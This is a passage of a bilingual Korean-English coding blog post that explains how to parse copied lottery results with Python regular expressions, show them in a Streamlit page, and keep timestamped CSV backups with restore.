&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;빠름 (Fast)&lt;/b&gt;: 3초 vs 크롤링 10초, 수동 30초&lt;/li&gt;
&lt;li&gt;&lt;b&gt;안정적 (Reliable)&lt;/b&gt;: 99% vs 크롤링 70%&lt;/li&gt;
&lt;li&gt;&lt;b&gt;간단함 (Simple)&lt;/b&gt;: 복사-붙여넣기만 하면 끝&lt;/li&gt;
&lt;li&gt;&lt;b&gt;유연함 (Flexible)&lt;/b&gt;: 다양한 텍스트 형식 지원&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 정규표현식 파서 구현 (Regex Parser Implementation)&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2085&quot; data-origin-height=&quot;1485&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AU2NP/dJMcaa44wxZ/Zhy1xnbffs5P0QT1riJiV1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AU2NP/dJMcaa44wxZ/Zhy1xnbffs5P0QT1riJiV1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AU2NP/dJMcaa44wxZ/Zhy1xnbffs5P0QT1riJiV1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAU2NP%2FdJMcaa44wxZ%2FZhy1xnbffs5P0QT1riJiV1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2085&quot; height=&quot;1485&quot; data-origin-width=&quot;2085&quot; data-origin-height=&quot;1485&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  파싱할 데이터 예시 (Example Data to Parse)&lt;/h3&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;1205회 로또 당첨번호
2026년01월03일 추첨

당첨번호: 1, 4, 16, 23, 31, 41
보너스: 2

1등 당첨금: 23억 3,499만원
1등 당첨자: 12명&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  5가지 핵심 패턴 (5 Key Patterns)&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;패턴 1: 회차 번호 (Round Number)&lt;/h4&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;round_match = re.search(r'(\d+)회', text)
round_num = int(round_match.group(1)) if round_match else None&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시 (Example):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;입력 (Input): &lt;code&gt;&quot;1205회 로또&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;매칭 (Match): &lt;code&gt;&quot;1205&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;결과 (Result): &lt;code&gt;1205&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;설명 (Explanation):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;(\d+)&lt;/code&gt;: 1개 이상의 숫자 (One or more digits)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;회&lt;/code&gt;: 한글 &quot;회&quot; 문자 (Korean character &quot;회&quot;)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;패턴 2: 날짜 (Date)&lt;/h4&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;date_match = re.search(
    r'(\d{4})[년.-](\d{1,2})[월.-](\d{1,2})',
    text
)

if date_match:
    year = date_match.group(1)
    month = date_match.group(2).zfill(2)
    day = date_match.group(3).zfill(2)
    date_str = f&quot;{year}-{month}-{day}&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시 (Examples):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;&quot;2026년01월03일&quot;&lt;/code&gt; &amp;rarr; &lt;code&gt;&quot;2026-01-03&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&quot;2026.01.03&quot;&lt;/code&gt; &amp;rarr; &lt;code&gt;&quot;2026-01-03&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&quot;2026-1-3&quot;&lt;/code&gt; &amp;rarr; &lt;code&gt;&quot;2026-01-03&quot;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;설명 (Explanation):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;(\d{4})&lt;/code&gt;: 정확히 4자리 숫자 (Exactly 4 digits - year)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[년.-]&lt;/code&gt;: &quot;년&quot;, &quot;.&quot;, &quot;-&quot; 중 하나 (One of these separators)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;(\d{1,2})&lt;/code&gt;: 1-2자리 숫자 (1-2 digits - month/day)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;패턴 3: 당첨번호 (Winning Numbers)&lt;/h4&gt;
&lt;pre class=&quot;markdown&quot;&gt;&lt;code&gt;numbers = re.findall(r'\b([1-9]|[1-3][0-9]|4[0-5])\b', text)
winning_numbers = [int(n) for n in numbers[:6]]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시 (Example):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;입력 (Input): &lt;code&gt;&quot;당첨번호: 1, 4, 16, 23, 31, 41&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;매칭 (Matches): &lt;code&gt;[&quot;1&quot;, &quot;4&quot;, &quot;16&quot;, &quot;23&quot;, &quot;31&quot;, &quot;41&quot;]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;결과 (Result): &lt;code&gt;[1, 4, 16, 23, 31, 41]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;설명 (Explanation):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;\b&lt;/code&gt;: 단어 경계 (Word boundary)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[1-9]&lt;/code&gt;: 1-9 (한 자리, Single digit 1-9)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[1-3][0-9]&lt;/code&gt;: 10-39 (두 자리, Two digits 10-39)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;4[0-5]&lt;/code&gt;: 40-45 (40-45만, Only 40-45)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;왜 이렇게 복잡한가? (Why so complex?)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;\d+&lt;/code&gt;를 쓰면 2026, 12 같은 숫자도 매칭됨 (Matches unwanted numbers)&lt;/li&gt;
&lt;li&gt;1-45 범위만 정확히 추출 필요 (Need exact 1-45 range)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;패턴 4: 보너스 번호 (Bonus Number)&lt;/h4&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;bonus = int(numbers[6]) if len(numbers) &amp;gt;= 7 else None&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;설명 (Explanation):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;당첨번호 패턴과 동일, 7번째 숫자 사용 (Same pattern, use 7th number)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;패턴 5: 당첨금 (Prize Amount)&lt;/h4&gt;
&lt;pre class=&quot;awk&quot;&gt;&lt;code&gt;prize_match = re.search(
    r'(\d+(?:,\d{3})*(?:\.\d+)?)\s*(?:억|만|원)',
    text
)

if prize_match:
    amount_str = prize_match.group(1).replace(',', '')
    # &quot;23억 3,499만원&quot; &amp;rarr; 2,334,990,000&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시 (Examples):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;&quot;23억 3,499만원&quot;&lt;/code&gt; &amp;rarr; &lt;code&gt;2,334,990,000&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&quot;1,234,567원&quot;&lt;/code&gt; &amp;rarr; &lt;code&gt;1,234,567&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&quot;5억원&quot;&lt;/code&gt; &amp;rarr; &lt;code&gt;500,000,000&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;설명 (Explanation):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;\d+&lt;/code&gt;: 숫자 (Digits)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;(?:,\d{3})*&lt;/code&gt;: 쉼표 + 3자리 반복 (Comma + 3 digits, repeated)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;(?:\.\d+)?&lt;/code&gt;: 소수점 (Optional decimal)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;\s*&lt;/code&gt;: 공백 (Whitespace)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;(?:억|만|원)&lt;/code&gt;: 단위 (Unit: 억/만/원)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt; ️ 완전한 파서 구현 (Complete Parser Implementation)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;파일: &lt;code&gt;src/text_parser.py&lt;/code&gt;&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;import re
from datetime import datetime

class LottoTextParser:
    &quot;&quot;&quot;로또 텍스트 파서 (Lotto Text Parser)&quot;&quot;&quot;

    def parse(self, text):
        &quot;&quot;&quot;
        텍스트에서 로또 데이터 추출 (Extract lottery data from text)

        Args:
            text: 로또 정보 텍스트 (Lottery info text)

        Returns:
            dict: 파싱 결과 (Parsed result)
        &quot;&quot;&quot;
        result = {
            'round': self._extract_round(text),
            'date': self._extract_date(text),
            'numbers': self._extract_numbers(text),
            'bonus': self._extract_bonus(text),
            'prize': self._extract_prize(text),
            'winners': self._extract_winners(text)
        }

        # 검증 (Validation)
        result['is_valid'] = self._validate(result)

        return result

    def _extract_round(self, text):
        &quot;&quot;&quot;회차 추출 (Extract round number)&quot;&quot;&quot;
        match = re.search(r'(\d+)회', text)
        return int(match.group(1)) if match else None

    def _extract_date(self, text):
        &quot;&quot;&quot;날짜 추출 (Extract date)&quot;&quot;&quot;
        match = re.search(
            r'(\d{4})[년.\-/](\d{1,2})[월.\-/](\d{1,2})',
            text
        )

        if match:
            year = match.group(1)
            month = match.group(2).zfill(2)
            day = match.group(3).zfill(2)
            return f&quot;{year}-{month}-{day}&quot;

        return None

    def _extract_numbers(self, text):
        &quot;&quot;&quot;당첨번호 추출 (Extract winning numbers)&quot;&quot;&quot;
        numbers = re.findall(r'\b([1-9]|[1-3][0-9]|4[0-5])\b', text)
        winning = [int(n) for n in numbers[:6]]

        return sorted(winning) if len(winning) == 6 else None

    def _extract_bonus(self, text):
        &quot;&quot;&quot;보너스 번호 추출 (Extract bonus number)&quot;&quot;&quot;
        numbers = re.findall(r'\b([1-9]|[1-3][0-9]|4[0-5])\b', text)
        return int(numbers[6]) if len(numbers) &amp;gt;= 7 else None

    def _extract_prize(self, text):
        &quot;&quot;&quot;당첨금 추출 (Extract prize amount)&quot;&quot;&quot;
        # &quot;23억 3,499만원&quot; 형식 처리 (Handle Korean format)
        prize_match = re.search(
            r'(\d+(?:,\d{3})*)\s*억',
            text
        )

        if prize_match:
            eok = int(prize_match.group(1).replace(',', ''))
            amount = eok * 100000000  # 억 단위 (100 million)

            # 만원 단위 추가 (Add 10,000 won units)
            man_match = re.search(r'(\d+(?:,\d{3})*)\s*만', text)
            if man_match:
                man = int(man_match.group(1).replace(',', ''))
                amount += man * 10000

            return amount

        return None

    def _extract_winners(self, text):
        &quot;&quot;&quot;당첨자 수 추출 (Extract winner count)&quot;&quot;&quot;
        match = re.search(r'당첨자.*?(\d+)\s*명', text)
        return int(match.group(1)) if match else None

    def _validate(self, result):
        &quot;&quot;&quot;검증 (Validate)&quot;&quot;&quot;
        checks = [
            result['round'] is not None,
            result['date'] is not None,
            result['numbers'] is not None,
            len(result['numbers']) == 6 if result['numbers'] else False,
            result['bonus'] is not None
        ]

        return all(checks)&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. 실시간 파싱 UI (Real-time Parsing UI)&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2085&quot; data-origin-height=&quot;1485&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bkHwY3/dJMb99ZpoN3/Lk5A44rJRGxG3kID3WgbjK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bkHwY3/dJMb99ZpoN3/Lk5A44rJRGxG3kID3WgbjK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bkHwY3/dJMb99ZpoN3/Lk5A44rJRGxG3kID3WgbjK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbkHwY3%2FdJMb99ZpoN3%2FLk5A44rJRGxG3kID3WgbjK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2085&quot; height=&quot;1485&quot; data-origin-width=&quot;2085&quot; data-origin-height=&quot;1485&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  2열 레이아웃 설계 (2-Column Layout Design)&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2085&quot; data-origin-height=&quot;1485&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vpKQR/dJMb99LQRL1/qb7RSILkxERkqLgr4YPksK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vpKQR/dJMb99LQRL1/qb7RSILkxERkqLgr4YPksK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vpKQR/dJMb99LQRL1/qb7RSILkxERkqLgr4YPksK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvpKQR%2FdJMb99LQRL1%2Fqb7RSILkxERkqLgr4YPksK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2085&quot; height=&quot;1485&quot; data-origin-width=&quot;2085&quot; data-origin-height=&quot;1485&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;파일: &lt;code&gt;src/web_app.py&lt;/code&gt; (일부, Partial)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def data_update_page():
    &quot;&quot;&quot;  데이터 업데이트 페이지 (Data Update Page)&quot;&quot;&quot;
    st.title(&quot;  데이터 업데이트&quot;)

    # 3가지 방법 탭 (3 Methods Tabs)
    tab1, tab2, tab3 = st.tabs([
        &quot;  텍스트 파싱 (Text Parsing)&quot;,
        &quot;  자동 크롤링 (Auto Crawling)&quot;,
        &quot;✍️ 수동 입력 (Manual Input)&quot;
    ])

    with tab1:
        text_parsing_method()

def text_parsing_method():
    &quot;&quot;&quot;텍스트 파싱 방식 (Text Parsing Method)&quot;&quot;&quot;
    st.markdown(&quot;###   텍스트 파싱 방식&quot;)

    st.info(&quot;&quot;&quot;
      **사용 방법 (How to Use):**
    1. 로또 웹사이트에서 정보 복사 (Copy info from lottery website)
    2. 아래 입력창에 붙여넣기 (Paste into textarea below)
    3. &quot;파싱 실행&quot; 클릭 (Click &quot;Parse Text&quot;)
    4. 결과 확인 후 저장 (Verify and save)
    &quot;&quot;&quot;)

    # 2열 레이아웃 (2-Column Layout)
    col1, col2 = st.columns(2)

    with col1:
        st.markdown(&quot;####   입력 영역 (Input Area)&quot;)

        # 텍스트 입력 (Text Input)
        text_input = st.text_area(
            &quot;로또 정보 텍스트 (Lottery Info Text)&quot;,
            height=400,
            placeholder=&quot;&quot;&quot;예시 (Example):
1205회 로또 당첨번호
2026년01월03일 추첨

당첨번호: 1, 4, 16, 23, 31, 41
보너스: 2

1등 당첨금: 23억 3,499만원
1등 당첨자: 12명
&quot;&quot;&quot;,
            help=&quot;웹사이트에서 복사한 텍스트를 붙여넣으세요. (Paste copied text from website.)&quot;
        )

        # 파싱 버튼 (Parse Button)
        parse_clicked = st.button(
            &quot;  파싱 실행 (Parse Text)&quot;,
            type=&quot;primary&quot;,
            use_container_width=True
        )

    with col2:
        st.markdown(&quot;####   파싱 결과 (Parsing Result)&quot;)

        if parse_clicked and text_input:
            with st.spinner(&quot;파싱 중... (Parsing...)&quot;):
                # 파싱 실행 (Execute Parsing)
                parser = LottoTextParser()
                result = parser.parse(text_input)

                if result['is_valid']:
                    # 성공 (Success)
                    st.success(&quot;✅ 파싱 성공! (Parsing Successful!)&quot;)

                    # 결과 표시 (Display Result)
                    st.markdown(&quot;**파싱된 데이터 (Parsed Data):**&quot;)

                    # 각 필드 표시 (Display Each Field)
                    st.text_input(&quot;회차 (Round)&quot;, value=result['round'],
                                  disabled=True)
                    st.text_input(&quot;날짜 (Date)&quot;, value=result['date'],
                                  disabled=True)
                    st.text_input(&quot;당첨번호 (Numbers)&quot;,
                                  value=str(result['numbers']),
                                  disabled=True)
                    st.text_input(&quot;보너스 (Bonus)&quot;, value=result['bonus'],
                                  disabled=True)

                    if result['prize']:
                        st.text_input(&quot;당첨금 (Prize)&quot;,
                                      value=f&quot;{result['prize']:,}원&quot;,
                                      disabled=True)

                    if result['winners']:
                        st.text_input(&quot;당첨자 (Winners)&quot;,
                                      value=f&quot;{result['winners']}명&quot;,
                                      disabled=True)

                    # 검증 상태 (Validation Status)
                    st.success(&quot;  검증 통과 (Validation Passed)&quot;)

                    # 저장 버튼 (Save Button)
                    if st.button(&quot;  CSV에 저장 (Save to CSV)&quot;,
                                type=&quot;primary&quot;,
                                use_container_width=True):
                        save_to_csv(result)
                        st.success(&quot;✅ 저장 완료! (Saved Successfully!)&quot;)
                        st.balloons()

                else:
                    # 실패 (Failure)
                    st.error(&quot;❌ 파싱 실패 (Parsing Failed)&quot;)
                    st.warning(&quot;텍스트 형식을 확인해주세요. (Check text format.)&quot;)

                    # 디버그 정보 (Debug Info)
                    with st.expander(&quot;  디버그 정보 (Debug Info)&quot;):
                        st.json(result)

        elif parse_clicked:
            st.warning(&quot;⚠️ 텍스트를 입력해주세요. (Please enter text.)&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;⚡ 실시간 피드백 (Real-time Feedback)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;장점 (Advantages):&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;즉시 확인 (Instant Verification)&lt;/b&gt;: 파싱 결과 즉시 표시&lt;/li&gt;
&lt;li&gt;&lt;b&gt;시각적 피드백 (Visual Feedback)&lt;/b&gt;: 성공/실패 색상 구분&lt;/li&gt;
&lt;li&gt;&lt;b&gt;디버깅 편의 (Easy Debugging)&lt;/b&gt;: 에러 발생 시 원인 파악 용이&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. 자동 백업 시스템 (Auto Backup System)&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2085&quot; data-origin-height=&quot;1485&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bMGLfZ/dJMcaaqs677/N3kWZNqHFp7LmcfF6JTyd1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bMGLfZ/dJMcaaqs677/N3kWZNqHFp7LmcfF6JTyd1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bMGLfZ/dJMcaaqs677/N3kWZNqHFp7LmcfF6JTyd1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbMGLfZ%2FdJMcaaqs677%2FN3kWZNqHFp7LmcfF6JTyd1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2085&quot; height=&quot;1485&quot; data-origin-width=&quot;2085&quot; data-origin-height=&quot;1485&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt; ️ 데이터 안전성 우선 (Data Safety First)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;문제 (Problem):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;잘못된 데이터 저장 시 원본 손실 (Data loss if wrong data saved)&lt;/li&gt;
&lt;li&gt;복구 불가능 (Cannot recover)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결책 (Solution):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;모든 업데이트 전 자동 백업 (Auto-backup before every update)&lt;/li&gt;
&lt;li&gt;타임스탬프 기반 버전 관리 (Timestamp-based versioning)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  백업 시스템 구현 (Backup System Implementation)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;파일: &lt;code&gt;src/data_updater.py&lt;/code&gt; (일부, Partial)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;import os
import shutil
from datetime import datetime

class LottoDataUpdater:
    &quot;&quot;&quot;로또 데이터 업데이터 (Lotto Data Updater)&quot;&quot;&quot;

    def __init__(self, csv_path, backup_dir=&quot;Data/backups&quot;):
        self.csv_path = csv_path
        self.backup_dir = backup_dir

        # 백업 디렉토리 생성 (Create backup directory)
        os.makedirs(backup_dir, exist_ok=True)

    def create_backup(self):
        &quot;&quot;&quot;
        CSV 파일 백업 (Backup CSV file)

        Returns:
            str: 백업 파일 경로 (Backup file path)
        &quot;&quot;&quot;
        if not os.path.exists(self.csv_path):
            raise FileNotFoundError(f&quot;CSV file not found: {self.csv_path}&quot;)

        # 타임스탬프 생성 (Generate timestamp)
        timestamp = datetime.now().strftime(&quot;%Y%m%d_%H%M%S&quot;)

        # 백업 파일명 (Backup filename)
        base_name = os.path.basename(self.csv_path)
        name, ext = os.path.splitext(base_name)
        backup_name = f&quot;{name}_backup_{timestamp}{ext}&quot;

        # 백업 경로 (Backup path)
        backup_path = os.path.join(self.backup_dir, backup_name)

        # 복사 (Copy)
        shutil.copy2(self.csv_path, backup_path)

        print(f&quot;✅ Backup created: {backup_path}&quot;)
        return backup_path

    def add_new_round(self, round_data):
        &quot;&quot;&quot;
        새 회차 데이터 추가 (Add new round data)

        Args:
            round_data: dict with keys: round, date, numbers, bonus, etc.
        &quot;&quot;&quot;
        # 1. 백업 생성 (Create backup)
        backup_path = self.create_backup()

        try:
            # 2. CSV 읽기 (Read CSV)
            import pandas as pd
            df = pd.read_csv(self.csv_path, encoding='utf-8-sig', skiprows=1)

            # 3. 중복 확인 (Check duplicate)
            if round_data['round'] in df['회차'].values:
                raise ValueError(f&quot;Round {round_data['round']} already exists!&quot;)

            # 4. 새 행 추가 (Append new row)
            new_row = {
                '회차': round_data['round'],
                '일자': round_data['date'],
                '당첨번호#1': round_data['numbers'][0],
                '당첨번호#2': round_data['numbers'][1],
                '당첨번호#3': round_data['numbers'][2],
                '당첨번호#4': round_data['numbers'][3],
                '당첨번호#5': round_data['numbers'][4],
                '당첨번호#6': round_data['numbers'][5],
                '당첨번호#7': round_data['bonus'],
                '1등 당첨액': round_data.get('prize'),
                '1등 당첨자수': round_data.get('winners'),
                # ... 기타 필드 (Other fields)
            }

            df = pd.concat([df, pd.DataFrame([new_row])], ignore_index=True)

            # 5. 저장 (Save)
            df.to_csv(self.csv_path, index=False, encoding='utf-8-sig')

            print(f&quot;✅ Round {round_data['round']} added successfully!&quot;)

        except Exception as e:
            # 에러 발생 시 백업에서 복구 (Restore from backup on error)
            print(f&quot;❌ Error: {e}&quot;)
            print(f&quot;  Restoring from backup: {backup_path}&quot;)
            shutil.copy2(backup_path, self.csv_path)
            raise

    def list_backups(self):
        &quot;&quot;&quot;백업 파일 목록 (List backup files)&quot;&quot;&quot;
        backups = []
        for file in os.listdir(self.backup_dir):
            if file.endswith('.csv') and 'backup' in file:
                path = os.path.join(self.backup_dir, file)
                backups.append({
                    'name': file,
                    'path': path,
                    'size': os.path.getsize(path),
                    'mtime': os.path.getmtime(path)
                })

        # 최신순 정렬 (Sort by newest)
        backups.sort(key=lambda x: x['mtime'], reverse=True)
        return backups

    def restore_from_backup(self, backup_path):
        &quot;&quot;&quot;백업에서 복구 (Restore from backup)&quot;&quot;&quot;
        if not os.path.exists(backup_path):
            raise FileNotFoundError(f&quot;Backup not found: {backup_path}&quot;)

        # 현재 파일도 백업 (Backup current file too)
        current_backup = self.create_backup()

        # 복구 (Restore)
        shutil.copy2(backup_path, self.csv_path)

        print(f&quot;✅ Restored from: {backup_path}&quot;)
        print(f&quot;  Current file backed up as: {current_backup}&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  백업 파일 구조 (Backup File Structure)&lt;/h3&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;Data/
├── 645_251227.csv                            # 원본 파일 (Original)
└── backups/
    ├── 645_251227_backup_20260103_143052.csv  # 2026-01-03 14:30:52
    ├── 645_251227_backup_20260110_091523.csv  # 2026-01-10 09:15:23
    ├── 645_251227_backup_20260110_143201.csv  # 2026-01-10 14:32:01
    └── ...&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;파일명 형식 (Filename Format):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;dust&quot;&gt;&lt;code&gt;{원본파일명}_backup_{YYYYMMDD}_{HHMMSS}.csv&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  롤백 기능 (Rollback Feature)&lt;/h3&gt;
